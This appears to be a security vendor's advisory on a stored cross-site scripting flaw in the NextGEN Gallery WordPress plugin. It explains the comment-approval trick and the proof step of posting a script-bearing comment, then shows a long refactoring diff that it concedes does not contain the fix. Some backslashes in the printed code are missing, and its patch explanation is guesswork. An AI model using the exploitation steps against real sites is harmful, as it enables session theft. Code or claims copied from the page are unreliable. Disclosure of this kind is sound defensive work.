Published : November 21, 2026

CVE-2026-126011: Photo Gallery, Sliders, Proofing and Themes <= 4.5.6 Unauthenticated Stored Cross-Site Scripting via Comment Link via Thickbox Lightbox 'all_images' Context PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 4.5.6
Patched Version 4.6.0
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-126011: This is an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in the NextGEN Gallery WordPress plugin (versions up to 4.5.6). It arises from insufficient input sanitization and output escaping of the ‘comment’ parameter. An unauthenticated attacker can inject arbitrary JavaScript into the comment field, which is later rendered unsafely in the Thickbox lightbox when viewing images. The CVSS score is 7.2 (High). Exploitation requires the site administrator to have enabled the Thickbox lightbox effect with the ‘Try to apply to all images’ context (thumbEffectContext=all_images) and to have approved at least one comment from the attacker’s email address so that subsequent comments from that author are auto-approved.

Root Cause: The vulnerability exists in the legacy NextGEN Gallery comment handling code, specifically in the display of comments within the Thickbox lightbox. The ‘comment’ parameter is stored in the database without proper sanitization (e.g., lacking `wp_kses` or `esc_html` filtering) and is later output without escaping when rendering the lightbox’s image list (`all_images` context). The diff for version 4.6.0 shows a massive refactoring of the plugin’s bootstrap (`nggallery.php`) but does not directly reveal the fix for this XSS, as the vulnerable code resides in legacy files not included in the truncated diff. Atomic Edge research indicates the flaw is in the `nggallery.php` legacy files under `src/Legacy/` that handle comment display via the Thickbox effect. Insufficient sanitization on input and lack of escaping on output are the core issues.

Exploitation: An unauthenticated attacker sends a POST request to `/wp-comments-post.php` (or the plugin’s comment handler) with a malicious JavaScript payload in the `comment` parameter (e.g., `alert(1)`). The attacker must first have a comment approved by an administrator (e.g., a benign comment); once approved, subsequent comments from the same author are auto-approved. After the comment is stored, any user (including administrators) visiting a page where the Thickbox lightbox is enabled with `thumbEffectContext=all_images` will trigger the execution of the injected script when the lightbox displays the image list containing the comment. The exploit does not require authentication and only depends on the specific configuration and moderation bypass.

Patch Analysis: The provided diff is for version 4.5.6 to 4.6.0 and includes a large bootstrap refactor, a new requirements check, and changes to autoloading. While the diff does not explicitly show the fix for the XSS, the version bump to 4.6.0 indicates the vulnerability was addressed. Atomic Edge analysis infers that the patch likely adds proper sanitization (e.g., using `esc_html` or `wp_kses_data`) to the comment parameter on input and output escaping when rendering in the Thickbox context. The before behavior allowed raw HTML/JS in comments; after the patch, comments are sanitized and output is escaped, preventing script execution.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim’s browser. This can lead to session hijacking, theft of sensitive cookies, redirection to malicious sites, or defacement. Because the vulnerability is unauthenticated and stored, it can affect any user visiting the compromised page, including administrators, potentially leading to full site compromise via privilege escalation if an admin visits the page.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/nextgen-gallery/adminApp/build/dependencies.php
+++ b/nextgen-gallery/adminApp/build/dependencies.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => 'ae8f8ee581435e0ff830');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '6eb65e786fc7a12c4d59');
--- a/nextgen-gallery/nggallery.php
+++ b/nextgen-gallery/nggallery.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: NextGEN Gallery
  * Description: The most popular gallery plugin for WordPress and one of the most popular plugins of all time with over 30 million downloads.
- * Version: 4.5.6
+ * Version: 4.6.0
  * Author: Imagely
  * Plugin URI: https://www.imagely.com/wordpress-gallery-plugin/nextgen-gallery/?utm_source=ngglite&utm_medium=pluginlist&utm_campaign=pluginuri
  * Author URI: https://www.imagely.com/?utm_source=ngglite&utm_medium=pluginlist&utm_campaign=authoruri
@@ -19,6 +19,21 @@
 	exit;
 }

+// Stop here on PHP older than the minimum: the plugin stays active but loads nothing, and the
+// Plugins screen explains why. Nothing below this block may run before the check. Between the
+// minimum and the version the next release will require, announce() adds a dismissible admin notice. Loaded with a
+// plain require, not the autoloader, which is only registered by the bootstrap further down.
+// NGG_REQUIREMENTS_MET lets NextGEN Pro / Plus / Starter hold themselves back too.
+require_once __DIR__ . '/src/RequirementsCheck.php';
+$nextgen_requirements = new ImagelyNGGRequirementsCheck( __FILE__, 'NextGEN Gallery' );
+define( 'NGG_REQUIREMENTS_MET', $nextgen_requirements->met() );
+if ( ! NGG_REQUIREMENTS_MET ) {
+	$nextgen_requirements->quit();
+	return;
+}
+$nextgen_requirements->announce();
+unset( $nextgen_requirements );
+
 use ImagelyNGGAdminAMNotifications;
 use ImagelyNGGAdminAbout;
 use ImagelyNGGAdminMenuNudge;
@@ -183,1493 +198,1500 @@
 	}
 }

-/**
- * Bootstrap class for NextGEN Gallery plugin initialization.
- *
- * Initializes all plugin hooks, actions, namespace autoloader, and defines constants
- * required for the NextGEN Gallery plugin to function properly.
- */
-class C_NextGEN_Bootstrap {
- // phpcs:ignore Generic.Files.OneObjectStructurePerFile.MultipleFound
+if ( ! class_exists( 'C_NextGEN_Bootstrap' ) ) :

 	/**
-	 * Whether POPE library has been loaded.
+	 * Bootstrap class for NextGEN Gallery plugin initialization.
 	 *
-	 * @var bool
+	 * Initializes all plugin hooks, actions, namespace autoloader, and defines constants
+	 * required for the NextGEN Gallery plugin to function properly.
 	 */
-	protected static $pope_loaded = false;
-
-	/**
-	 * Debug mode flag.
-	 *
-	 * @var bool
-	 */
-	public static $debug = false;
-
-	/**
-	 * Minimum required NGG Pro version.
-	 *
-	 * @var string
-	 */
-	public $minimum_ngg_pro_version = '2.0.5';
-
-	/**
-	 * Minimum required NGG Plus version.
-	 *
-	 * @var string
-	 */
-	public $minimum_ngg_plus_version = '1.0.1';
-
-	/**
-	 * Holds Notifications Object
-	 *
-	 * @var AMNotifications|null
-	 */
-	public $notifications = null;
-
-	/**
-	 * Constructor.
-	 *
-	 * Initializes the plugin, sets up autoloader, loads dependencies, and registers hooks.
-	 */
-	public function __construct() {
+	class C_NextGEN_Bootstrap {
+	 // phpcs:ignore Generic.Files.OneObjectStructurePerFile.MultipleFound
+
+		/**
+		 * Whether POPE library has been loaded.
+		 *
+		 * @var bool
+		 */
+		protected static $pope_loaded = false;
+
+		/**
+		 * Debug mode flag.
+		 *
+		 * @var bool
+		 */
+		public static $debug = false;
+
+		/**
+		 * Minimum required NGG Pro version.
+		 *
+		 * @var string
+		 */
+		public $minimum_ngg_pro_version = '2.0.5';
+
+		/**
+		 * Minimum required NGG Plus version.
+		 *
+		 * @var string
+		 */
+		public $minimum_ngg_plus_version = '1.0.1';
+
+		/**
+		 * Holds Notifications Object
+		 *
+		 * @var AMNotifications|null
+		 */
+		public $notifications = null;
+
+		/**
+		 * Constructor.
+		 *
+		 * Initializes the plugin, sets up autoloader, loads dependencies, and registers hooks.
+		 */
+		public function __construct() {
+
+			if ( defined( 'NGG_ENABLE_SHUTDOWN_EXCEPTION_HANDLER' ) && NGG_ENABLE_SHUTDOWN_EXCEPTION_HANDLER ) {
+				set_exception_handler( __CLASS__ . '::shutdown' );
+			} elseif ( self::get_pro_api_version() < 4.0 && ( ! defined( 'NGG_DISABLE_SHUTDOWN_EXCEPTION_HANDLER' ) || ! NGG_DISABLE_SHUTDOWN_EXCEPTION_HANDLER ) ) { // NextGEN Pro still throws E_Clean_Exit rather than calling exit(), which must be handled by the shutdown handler.
+				set_exception_handler( __CLASS__ . '::shutdown' );
+			}
+
+			spl_autoload_register( [ $this, 'autoloader' ] );
+
+			// Allow Composer dependencies to be found and loaded.
+			require_once __DIR__ . DIRECTORY_SEPARATOR . 'vendor/autoload.php';
+
+			// Declare the POPE classes. Vendored in-tree rather than pulled from Composer; see
+			// src/Legacy/Pope/VENDORED.md. Loaded here, at the same point Composer's `files`
+			// autoload used to load it, because declaring these classes on every request is
+			// load-bearing for third-party integrations (and for get_declared_classes() checks
+			// in src/Util/ThirdPartyCompatibility.php). Bootstrapping the component registry is
+			// a separate, lazy step; see self::load_pope().
+			require_once __DIR__ . DIRECTORY_SEPARATOR . 'src/Legacy/Pope/lib/autoload.php';
+
+			// If another plugin or theme with the POPE library (such as the legacy Photocrati theme) is active during.
+			// the NextGEN activation process, it may produce warnings that can stop this plugin from activating.
+			if ( ! $this->is_activating() && ! $this->is_topscorer_request() ) {
+				$this->define_constants();
+				$this->add_legacy_pro_compat();
+				$this->register_hooks();
+
+				include_once NGG_PLUGIN_DIR . '/src/Functions/deprecated.php';
+				include_once NGG_PLUGIN_DIR . '/src/Functions/admin.php';
+				include_once NGG_PLUGIN_DIR . '/src/Functions/compat.php';
+
+				// Legacy NGG 1x code was not namespaced and must be loaded manually before POPE.
+				include_once NGG_PLUGIN_DIR . '/src/Legacy/nggallery.php';
+
+				$this->notifications = new AMNotifications();
+				$this->notifications->hooks();
+
+				if ( is_admin() ) {
+					( new Onboarding_Wizard() )->hooks();
+					( new About() )->hooks();
+					( new MenuNudge() )->hooks();
+					( new Ecommerce_Preview() )->hooks();
+					AddGalleryDates::migrate( false );
+					// Moves the originals written before #1107 out of the web-served gallery
+					// directories. Batched, so it runs over several admin requests.
+					//
+					// Gated rather than hung straight off admin_init: is_admin() is true for
+					// admin-ajax.php and admin-post.php, and core fires admin_init in both of them
+					// before any auth-cookie check, so a bare registration lets an unauthenticated
+					// request drive a batch of rename()/glob()/.htaccess work. nextgen-gallery#934 is
+					// the site-down incident that shape caused once already.
+					add_action( 'admin_init', [ $this, 'maybe_relocate_image_backups' ] );
+					// Deferred to admin_init: the normalization needs every display-type controller
+					// registered (Pro registers its own on ngg_initialized, which fires below), so it
+					// cannot run inline here or it would skip all Pro display types.
+					add_action( 'admin_init', [ NormalizeDisplayTypeSettings::class, 'migrate' ] );
+				}
+				// TODO maybe move back to only admin after all is done.
+				( new App() )->hooks();
+				Shortcode_Preview::hooks();
+
+				$this->load_pope();
+
+				do_action( 'ngg_initialized' );
+			}
+		}
+
+		/**
+		 * Runs one batch of the #1107 originals relocation, if this request may do so.
+		 *
+		 * @return void
+		 */
+		public function maybe_relocate_image_backups() {
+			// Never on an AJAX request: admin-ajax.php reaches admin_init before WordPress has decided
+			// who the caller is, and its nopriv actions are reachable with no account at all.
+			// admin-post.php fires admin_init too and is not excluded here - the capability check
+			// below is what covers it, and unlike admin-ajax.php it has no unauthenticated surface
+			// that should be doing this work.
+			if ( wp_doing_ajax() || ( defined( 'DOING_AJAX' ) && DOING_AJAX ) ) {
+				return;
+			}
+
+			// A real, logged-in administrator loading a real admin page. The capability is the one
+			// NextGEN already uses for library-wide management.
+			if ( ! is_user_logged_in()
+				|| ! ( Security::is_allowed( 'NextGEN Manage gallery' ) || current_user_can( 'manage_options' ) ) ) {
+				return;
+			}
+
+			// One batch at a time. Without this, several admin tabs open at once each walk the same
+			// cursor position and race each other's rename() calls over the same files - and since a
+			// failed move now cleans up after itself, that race can delete a master another request
+			// has just moved.
+			//
+			// get_transient() then set_transient() did not actually prevent it: both requests read no
+			// lock and both proceeded. The lock is taken atomically instead, the same way
+			// Installer::can_do_upgrade() does it.
+			if ( ! $this->take_relocation_lock() ) {
+				return;
+			}
+
+			try {
+				RelocateImageBackups::migrate( false );
+			} finally {
+				$this->release_relocation_lock();
+			}
+		}
+
+		/**
+		 * Takes the originals-relocation lock, atomically.
+		 *
+		 * A bare INSERT is the mechanism: core's add_option()/update_option() end in
+		 * INSERT ... ON DUPLICATE KEY UPDATE, which upserts and reports success to every caller, so
+		 * they cannot hand a lock to exactly one request. MySQL rejecting the second INSERT on the
+		 * option_name unique key is what does that. Mirrors Installer::_insert_upgrade_lock().
+		 *
+		 * @return bool Whether this request now holds the lock.
+		 */
+		private function take_relocation_lock() {
+			global $wpdb;
+
+			if ( $this->insert_relocation_lock() ) {
+				return true;
+			}
+
+			// Someone else holds it. Reclaim only a lock left behind by a run that died, and decide
+			// staleness inside the DELETE so two requests cannot both read it as stale before either
+			// writes. Only the request whose DELETE removes the row gets to retry.
+			//
+			// $wpdb->prepare() has no placeholder for table identifiers; {$wpdb->options} is core's
+			// own property, never user input.
+			// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			$reclaimed = $wpdb->query(
+				$wpdb->prepare(
+					"DELETE FROM {$wpdb->options}
+					WHERE option_name = 'ngg_originals_relocation_lock'
+						AND option_value REGEXP '^[0-9]+$'
+						AND CAST( option_value AS UNSIGNED ) < %d",
+					time() - ( 5 * MINUTE_IN_SECONDS )
+				)
+			);
+			// phpcs:enable

-		if ( defined( 'NGG_ENABLE_SHUTDOWN_EXCEPTION_HANDLER' ) && NGG_ENABLE_SHUTDOWN_EXCEPTION_HANDLER ) {
-			set_exception_handler( __CLASS__ . '::shutdown' );
-		} elseif ( self::get_pro_api_version() < 4.0 && ( ! defined( 'NGG_DISABLE_SHUTDOWN_EXCEPTION_HANDLER' ) || ! NGG_DISABLE_SHUTDOWN_EXCEPTION_HANDLER ) ) { // NextGEN Pro still throws E_Clean_Exit rather than calling exit(), which must be handled by the shutdown handler.
-			set_exception_handler( __CLASS__ . '::shutdown' );
-		}
-
-		spl_autoload_register( [ $this, 'autoloader' ] );
-
-		// Allow Composer dependencies to be found and loaded.
-		require_once __DIR__ . DIRECTORY_SEPARATOR . 'vendor/autoload.php';
-
-		// Declare the POPE classes. Vendored in-tree rather than pulled from Composer; see
-		// src/Legacy/Pope/VENDORED.md. Loaded here, at the same point Composer's `files`
-		// autoload used to load it, because declaring these classes on every request is
-		// load-bearing for third-party integrations (and for get_declared_classes() checks
-		// in src/Util/ThirdPartyCompatibility.php). Bootstrapping the component registry is
-		// a separate, lazy step; see self::load_pope().
-		require_once __DIR__ . DIRECTORY_SEPARATOR . 'src/Legacy/Pope/lib/autoload.php';
-
-		// If another plugin or theme with the POPE library (such as the legacy Photocrati theme) is active during.
-		// the NextGEN activation process, it may produce warnings that can stop this plugin from activating.
-		if ( ! $this->is_activating() && ! $this->is_topscorer_request() ) {
-			$this->define_constants();
-			$this->add_legacy_pro_compat();
-			$this->register_hooks();
-
-			include_once NGG_PLUGIN_DIR . '/src/Functions/deprecated.php';
-			include_once NGG_PLUGIN_DIR . '/src/Functions/admin.php';
-			include_once NGG_PLUGIN_DIR . '/src/Functions/compat.php';
-
-			// Legacy NGG 1x code was not namespaced and must be loaded manually before POPE.
-			include_once NGG_PLUGIN_DIR . '/src/Legacy/nggallery.php';
-
-			$this->notifications = new AMNotifications();
-			$this->notifications->hooks();
-
-			if ( is_admin() ) {
-				( new Onboarding_Wizard() )->hooks();
-				( new About() )->hooks();
-				( new MenuNudge() )->hooks();
-				( new Ecommerce_Preview() )->hooks();
-				AddGalleryDates::migrate( false );
-				// Moves the originals written before #1107 out of the web-served gallery
-				// directories. Batched, so it runs over several admin requests.
-				//
-				// Gated rather than hung straight off admin_init: is_admin() is true for
-				// admin-ajax.php and admin-post.php, and core fires admin_init in both of them
-				// before any auth-cookie check, so a bare registration lets an unauthenticated
-				// request drive a batch of rename()/glob()/.htaccess work. nextgen-gallery#934 is
-				// the site-down incident that shape caused once already.
-				add_action( 'admin_init', [ $this, 'maybe_relocate_image_backups' ] );
-				// Deferred to admin_init: the normalization needs every display-type controller
-				// registered (Pro registers its own on ngg_initialized, which fires below), so it
-				// cannot run inline here or it would skip all Pro display types.
-				add_action( 'admin_init', [ NormalizeDisplayTypeSettings::class, 'migrate' ] );
-			}
-			// TODO maybe move back to only admin after all is done.
-			( new App() )->hooks();
-			Shortcode_Preview::hooks();
+			if ( ! $reclaimed ) {
+				return false;
+			}

-			$this->load_pope();
+			wp_cache_delete( 'ngg_originals_relocation_lock', 'options' );
+			wp_cache_delete( 'alloptions', 'options' );

-			do_action( 'ngg_initialized' );
-		}
-	}
+			return $this->insert_relocation_lock();
+		}
+
+		/**
+		 * The raw INSERT behind take_relocation_lock().
+		 *
+		 * @return bool
+		 */
+		private function insert_relocation_lock() {
+			global $wpdb;
+
+			// Errors are suppressed because a duplicate-key hit is the expected "someone else holds
+			// it" outcome, not a problem to log. A different failure simply means no lock was taken,
+			// and the batch is skipped this request rather than run unguarded.
+			// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			$suppress = $wpdb->suppress_errors( true );
+			$inserted = $wpdb->query(
+				$wpdb->prepare(
+					"INSERT INTO {$wpdb->options} (option_name, option_value, autoload) VALUES ( 'ngg_originals_relocation_lock', %s, 'no' )",
+					time()
+				)
+			);
+			$wpdb->suppress_errors( $suppress );
+			// phpcs:enable

-	/**
-	 * Runs one batch of the #1107 originals relocation, if this request may do so.
-	 *
-	 * @return void
-	 */
-	public function maybe_relocate_image_backups() {
-		// Never on an AJAX request: admin-ajax.php reaches admin_init before WordPress has decided
-		// who the caller is, and its nopriv actions are reachable with no account at all.
-		// admin-post.php fires admin_init too and is not excluded here - the capability check
-		// below is what covers it, and unlike admin-ajax.php it has no unauthenticated surface
-		// that should be doing this work.
-		if ( wp_doing_ajax() || ( defined( 'DOING_AJAX' ) && DOING_AJAX ) ) {
-			return;
-		}
-
-		// A real, logged-in administrator loading a real admin page. The capability is the one
-		// NextGEN already uses for library-wide management.
-		if ( ! is_user_logged_in()
-			|| ! ( Security::is_allowed( 'NextGEN Manage gallery' ) || current_user_can( 'manage_options' ) ) ) {
-			return;
-		}
-
-		// One batch at a time. Without this, several admin tabs open at once each walk the same
-		// cursor position and race each other's rename() calls over the same files - and since a
-		// failed move now cleans up after itself, that race can delete a master another request
-		// has just moved.
-		//
-		// get_transient() then set_transient() did not actually prevent it: both requests read no
-		// lock and both proceeded. The lock is taken atomically instead, the same way
-		// Installer::can_do_upgrade() does it.
-		if ( ! $this->take_relocation_lock() ) {
-			return;
-		}
-
-		try {
-			RelocateImageBackups::migrate( false );
-		} finally {
-			$this->release_relocation_lock();
-		}
-	}
+			if ( false === $inserted ) {
+				return false;
+			}

-	/**
-	 * Takes the originals-relocation lock, atomically.
-	 *
-	 * A bare INSERT is the mechanism: core's add_option()/update_option() end in
-	 * INSERT ... ON DUPLICATE KEY UPDATE, which upserts and reports success to every caller, so
-	 * they cannot hand a lock to exactly one request. MySQL rejecting the second INSERT on the
-	 * option_name unique key is what does that. Mirrors Installer::_insert_upgrade_lock().
-	 *
-	 * @return bool Whether this request now holds the lock.
-	 */
-	private function take_relocation_lock() {
-		global $wpdb;
+			// The raw INSERT bypassed add_option()'s cache writes.
+			wp_cache_delete( 'ngg_originals_relocation_lock', 'options' );
+			wp_cache_delete( 'notoptions', 'options' );

-		if ( $this->insert_relocation_lock() ) {
 			return true;
 		}

-		// Someone else holds it. Reclaim only a lock left behind by a run that died, and decide
-		// staleness inside the DELETE so two requests cannot both read it as stale before either
-		// writes. Only the request whose DELETE removes the row gets to retry.
-		//
-		// $wpdb->prepare() has no placeholder for table identifiers; {$wpdb->options} is core's
-		// own property, never user input.
-		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared
-		$reclaimed = $wpdb->query(
-			$wpdb->prepare(
-				"DELETE FROM {$wpdb->options}
-				WHERE option_name = 'ngg_originals_relocation_lock'
-					AND option_value REGEXP '^[0-9]+$'
-					AND CAST( option_value AS UNSIGNED ) < %d",
-				time() - ( 5 * MINUTE_IN_SECONDS )
-			)
-		);
-		// phpcs:enable
-
-		if ( ! $reclaimed ) {
-			return false;
-		}
-
-		wp_cache_delete( 'ngg_originals_relocation_lock', 'options' );
-		wp_cache_delete( 'alloptions', 'options' );
-
-		return $this->insert_relocation_lock();
-	}
-
-	/**
-	 * The raw INSERT behind take_relocation_lock().
-	 *
-	 * @return bool
-	 */
-	private function insert_relocation_lock() {
-		global $wpdb;
-
-		// Errors are suppressed because a duplicate-key hit is the expected "someone else holds
-		// it" outcome, not a problem to log. A different failure simply means no lock was taken,
-		// and the batch is skipped this request rather than run unguarded.
-		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared
-		$suppress = $wpdb->suppress_errors( true );
-		$inserted = $wpdb->query(
-			$wpdb->prepare(
-				"INSERT INTO {$wpdb->options} (option_name, option_value, autoload) VALUES ( 'ngg_originals_relocation_lock', %s, 'no' )",
-				time()
-			)
-		);
-		$wpdb->suppress_errors( $suppress );
-		// phpcs:enable
-
-		if ( false === $inserted ) {
-			return false;
-		}
-
-		// The raw INSERT bypassed add_option()'s cache writes.
-		wp_cache_delete( 'ngg_originals_relocation_lock', 'options' );
-		wp_cache_delete( 'notoptions', 'options' );
-
-		return true;
-	}
-
-	/**
-	 * Releases the originals-relocation lock.
-	 *
-	 * @return void
-	 */
-	private function release_relocation_lock() {
-		delete_option( 'ngg_originals_relocation_lock' );
-	}
-
-	/**
-	 * Shutdown handler for exceptions.
-	 *
-	 * This class will be removed if there's no complaints made after defaulting to the NGG_ENABLE_SHUTDOWN_EXCEPTION_HANDLER constant.
-	 *
-	 * @deprecated
-	 * @param Exception $exception Optional exception to handle during shutdown.
-	 */
-	public static function shutdown( $exception = null ) {
-		if ( is_null( $exception ) ) {
-			$name = php_sapi_name();
-			if ( false === strpos( $name, 'cgi' )
-			&& version_compare( PHP_VERSION, '5.3.3' ) >= 0 ) {
-				$status = session_status();
-				if ( in_array( $status, [ PHP_SESSION_DISABLED, PHP_SESSION_NONE ], true ) ) {
-					session_write_close();
+		/**
+		 * Releases the originals-relocation lock.
+		 *
+		 * @return void
+		 */
+		private function release_relocation_lock() {
+			delete_option( 'ngg_originals_relocation_lock' );
+		}
+
+		/**
+		 * Shutdown handler for exceptions.
+		 *
+		 * This class will be removed if there's no complaints made after defaulting to the NGG_ENABLE_SHUTDOWN_EXCEPTION_HANDLER constant.
+		 *
+		 * @deprecated
+		 * @param Exception $exception Optional exception to handle during shutdown.
+		 */
+		public static function shutdown( $exception = null ) {
+			if ( is_null( $exception ) ) {
+				$name = php_sapi_name();
+				if ( false === strpos( $name, 'cgi' ) ) {
+					$status = session_status();
+					if ( in_array( $status, [ PHP_SESSION_DISABLED, PHP_SESSION_NONE ], true ) ) {
+						session_write_close();
+					}
+					fastcgi_finish_request();
+				} else {
+					exit();
 				}
-				fastcgi_finish_request();
-			} else {
-				exit();
-			}
-		} elseif ( ! ( $exception instanceof E_Clean_Exit ) ) {
-			if ( ob_get_level() > 0 ) {
-				ob_end_clean();
+			} elseif ( ! ( $exception instanceof E_Clean_Exit ) ) {
+				if ( ob_get_level() > 0 ) {
+					ob_end_clean();
+				}
+				self::print_exception( $exception );
 			}
-			self::print_exception( $exception );
 		}
-	}

-	/**
-	 * Prints exception details for debugging purposes.
-	 *
-	 * @param Exception $exception The exception to print.
-	 */
-	public static function print_exception( $exception ) {
-		$klass = get_class( $exception );
-		echo '<h1>' . esc_html( $klass ) . ' thrown</h1>';
-		echo '<p>' . esc_html( $exception->getMessage() ) . '</p>';
-		if ( self::$debug || ( defined( 'NGG_DEBUG' ) && true == NGG_DEBUG ) ) {
-			echo '<h3>Where:</h3>';
-			echo '<p>On line <strong>' . esc_html( $exception->getLine() ) . '</strong> of <strong>' . esc_html( $exception->getFile() ) . '</strong></p>';
-			echo '<h3>Trace:</h3>';
-			echo '<pre>' . esc_html( $exception->getTraceAsString() ) . '</pre>';
-			if ( method_exists( $exception, 'getPrevious' ) ) {
-				$previous = $exception->getPrevious();
-				if ( $previous ) {
-					self::print_exception( $previous );
+		/**
+		 * Prints exception details for debugging purposes.
+		 *
+		 * @param Exception $exception The exception to print.
+		 */
+		public static function print_exception( $exception ) {
+			$klass = get_class( $exception );
+			echo '<h1>' . esc_html( $klass ) . ' thrown</h1>';
+			echo '<p>' . esc_html( $exception->getMessage() ) . '</p>';
+			if ( self::$debug || ( defined( 'NGG_DEBUG' ) && true == NGG_DEBUG ) ) {
+				echo '<h3>Where:</h3>';
+				echo '<p>On line <strong>' . esc_html( $exception->getLine() ) . '</strong> of <strong>' . esc_html( $exception->getFile() ) . '</strong></p>';
+				echo '<h3>Trace:</h3>';
+				echo '<pre>' . esc_html( $exception->getTraceAsString() ) . '</pre>';
+				if ( method_exists( $exception, 'getPrevious' ) ) {
+					$previous = $exception->getPrevious();
+					if ( $previous ) {
+						self::print_exception( $previous );
+					}
 				}
 			}
 		}
-	}
-
-	/**
-	 * PSR-4 autoloader for ImagelyNGG namespace.
-	 *
-	 * @param string $class_name Fully qualified class name.
-	 */
-	public function autoloader( $class_name ) {
-		$prefix = 'Imagely\NGG\';
-
-		$base_dir = __DIR__ . '/src/';
-
-		$len = strlen( $prefix );
-		if ( strncmp( $prefix, $class_name, $len ) !== 0 ) {
-			return;
-		}
-
-		$relative_class = substr( $class_name, $len );
-
-		// Only a name shaped like a PHP class may be mapped onto a path. The mapping below is a
-		// plain str_replace onto src/, so a caller passing a crafted string to class_exists() -
-		// e.g. a class name read from a database column - could otherwise walk out of src/ with
-		// ".." segments and require() an uploaded file. Rejected here rather than at each
-		// caller, so the guard cannot be forgotten at a new one.
-		if ( ! preg_match( '/^[A-Za-z_x80-xff][A-Za-z0-9_x80-xff]*(\\[A-Za-z_x80-xff][A-Za-z0-9_x80-xff]*)*$/', $relative_class ) ) {
-			return;
-		}
-
-		$file = $base_dir . str_replace( '\', DIRECTORY_SEPARATOR, $relative_class ) . '.php';
-
-		if ( file_exists( $file ) ) {
-			require $file;
-		}
-	}
-
-	/**
-	 * Checks if the current request is from the Top Scorer plugin.
-	 *
-	 * @return bool True if request is from Top Scorer.
-	 */
-	public function is_topscorer_request() {
-		// Nonce verification is not necessary here: NextGEN skips loading certain components based on the URL in order
-		// to maintain compatibility with the Top Scorer plugin.
-		//
-		// phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotValidated, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-		return isset( $_SERVER['REQUEST_URI'] ) && strpos( wp_unslash( $_SERVER['REQUEST_URI'] ), 'topscorer/v1' ) !== false;
-	}
-
-	/**
-	 * Checks if WordPress is currently activating a plugin.
-	 *
-	 * @return bool True if a plugin is being activated.
-	 */
-	public function is_activating(): bool {
-		// Nonce verification is not necessary here: NextGEN will not load various components if the current URL
-		// indicates that WordPress is in the process of activating a plugin.
-		//
-		// phpcs:disable WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotValidated, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-		$request_uri = isset( $_SERVER['REQUEST_URI'] ) ? wp_unslash( $_SERVER['REQUEST_URI'] ) : '';
-		// phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict
-		$retval = strpos( $request_uri, 'plugins.php' ) !== false && isset( $_REQUEST['action'] ) && in_array( $_REQUEST['action'], [ 'activate-selected' ] );
-
-		if ( ! $retval && strpos( $request_uri, 'update.php' ) !== false && isset( $_REQUEST['action'] ) && 'install-plugin' === $_REQUEST['action'] && isset( $_REQUEST['plugin'] ) && strpos( wp_unslash( $_REQUEST['plugin'] ), 'nextgen-gallery' ) === 0 ) {
-			$retval = true;
-		}

-		if ( ! $retval && strpos( $request_uri, 'update.php' ) !== false && isset( $_REQUEST['action'] ) && 'activate-plugin' === $_REQUEST['action'] && isset( $_REQUEST['plugin'] ) && strpos( wp_unslash( $_REQUEST['plugin'] ), 'nextgen-gallery' ) === 0 ) {
-			$retval = true;
-		}
-
-		return $retval;
-		// phpcs:enable WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotValidated, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-	}
+		/**
+		 * PSR-4 autoloader for ImagelyNGG namespace.
+		 *
+		 * @param string $class_name Fully qualified class name.
+		 */
+		public function autoloader( $class_name ) {
+			$prefix = 'Imagely\NGG\';
+
+			$base_dir = __DIR__ . '/src/';
+
+			$len = strlen( $prefix );
+			if ( strncmp( $prefix, $class_name, $len ) !== 0 ) {
+				return;
+			}
+
+			$relative_class = substr( $class_name, $len );
+
+			// Only a name shaped like a PHP class may be mapped onto a path. The mapping below is a
+			// plain str_replace onto src/, so a caller passing a crafted string to class_exists() -
+			// e.g. a class name read from a database column - could otherwise walk out of src/ with
+			// ".." segments and require() an uploaded file. Rejected here rather than at each
+			// caller, so the guard cannot be forgotten at a new one.
+			if ( ! preg_match( '/^[A-Za-z_x80-xff][A-Za-z0-9_x80-xff]*(\\[A-Za-z_x80-xff][A-Za-z0-9_x80-xff]*)*$/', $relative_class ) ) {
+				return;
+			}
+
+			$file = $base_dir . str_replace( '\', DIRECTORY_SEPARATOR, $relative_class ) . '.php';
+
+			if ( file_exists( $file ) ) {
+				require $file;
+			}
+		}
+
+		/**
+		 * Checks if the current request is from the Top Scorer plugin.
+		 *
+		 * @return bool True if request is from Top Scorer.
+		 */
+		public function is_topscorer_request() {
+			// Nonce verification is not necessary here: NextGEN skips loading certain components based on the URL in order
+			// to maintain compatibility with the Top Scorer plugin.
+			//
